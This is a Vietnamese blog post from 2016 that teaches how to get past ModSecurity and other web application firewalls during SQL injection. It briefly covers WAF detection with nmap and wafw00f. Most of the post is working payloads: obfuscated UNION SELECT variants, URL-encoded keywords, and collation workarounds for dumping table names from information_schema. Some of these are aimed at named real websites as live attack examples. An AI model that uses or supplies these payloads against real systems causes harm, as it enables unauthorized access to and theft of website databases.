Friday 26 February 2016

WAF Bypass mod security

Như đã trao đổi với các bạn ở trong phần trước, phần này mình sẽ nói rõ hơn và các kỹ thuật bypass WAF


Trước hết ta cần hiểu khái niệm cơ bản 
1. Firewall là gì ?
Firewall là những thiết bị hay phần mềm lọc các thông tin đi ra và vào hệ thống mạng, server .Ngăn chặn những truy cập trái phép từ bên ngoài vào những máy chủ và thiết bị bên trong hệ thống mạng.
Firewall được chia làm 2 loại: Software and Hardware firewalls.
Firewall chủ yếu làm việc ở tầng 7 Application (Web Application Firewall), và tầng 3 Network (Network Layer Firewall)

+ Network Layer Firewall:
Có khi nào bạn để ý khi bạn đang cố truy vấn SQL Injection nhiều lần 1 số site đóng các kết nối trả về ERR_EMPTY_RESPONSE

+ Web Application Firewall: 
Chúng ta thường hay gặp khi khai thác Mod Security
http://www.vanchuongviet.org/index.php?comp=tacpham&action=detail&id=-17564 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12-- -
Not Acceptable!
An appropriate representation of the 
requested resource could not be found on this server. This error was 
generated by Mod_Security.

Bypass:
http://www.vanchuongviet.org/index.php?comp=tacpham&action=detail&id=-17564 /*!50000UNION*/ /*!50000SELECT*/ 1,2,3,4,5,6,7,8,9,10,11,12-- -


2. Detect the WAF:
Có nhiều tool, script phát hiện sự hiện diện của WAF như
NMAP
wafw00f
Checking the response headers

Using Nmap:
nmap -p80 --script http-waf-detect 

Fingerprinting WAF using WAFw00f
wafw00f.py 

3.Một số kiểu bypass
Bypass Payload Union Seclect

/*!UNION*/ /*!SELECT*/
/*!50000UNION*/
%55nion(%53elect)
/*!50000UniON SeLeCt*/
union%20distinct%20select
union%20%64istinctRO%57%20select
union%2053elect
%23?%0auion%20?%23?%0aselect
%23?zen?%0Aunion all%23zen%0A%23Zen%0Aselect
%55nion %53eLEct
u%6eion se%6cect
unio%6e %73elect
unio%6e%20%64istinc%74%20%73elect
uni%6fn distinct%52OW s%65lect
%75%6e%6f%69%6e %61%6c%6c %73%65%6c%65%63%74

Bypass Illegal mix of collations for operation 'UNION'

1. Using UNCOMPRESS(COMPRESS(our_query_here))
http://www.Site.com/detail.php?id=31 Union Select 1,uncompress(compress(concat(table_name))),3,4,5 from information_schema.tables where table_schema=database()-- -

2. Using UNHEX(HEX(our_query_here))
http://www.Site.com/detail.php?id=31 Union Select 1,unhex(hex(concat(table_name))),3,4,5 from information_schema.tables where table_schema=database()-- -

3. Using CAST()
http://www.Site.com/detail.php?id=31 Union Select 1,cast(table_name as binary),3,4,5 from information_schema.tables where table_schema=database()-- -

4. Using CONVERT()
http://www.Site.com/detail.php?id=31 and 0 Union Select 1,convert(table_name using ascii),3,4,5 from information_schema.tables where table_schema=database()-- -


Có thể thay ascii bằng
ujis, ucs2, tis620, swe7, sjis, macroman, macce, latin7, latin5, latin2, koi8u, koi8r, keybcs2, hp8, geostd8, gbk, gb2132, armscii8, ascii, cp1250, big5, cp1251, cp1256, cp1257, cp850, cp852, cp866, cp932, dec8, euckr, latin1

Bypass 406 Not Acceptable 
http://www.locanresort.com/index.php?do=page&id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3,4,group_concat(/*!table_name*/) from information_schema./*!tables*/ where /*!table_schema*/=database()-- 

0 comments:

Post a Comment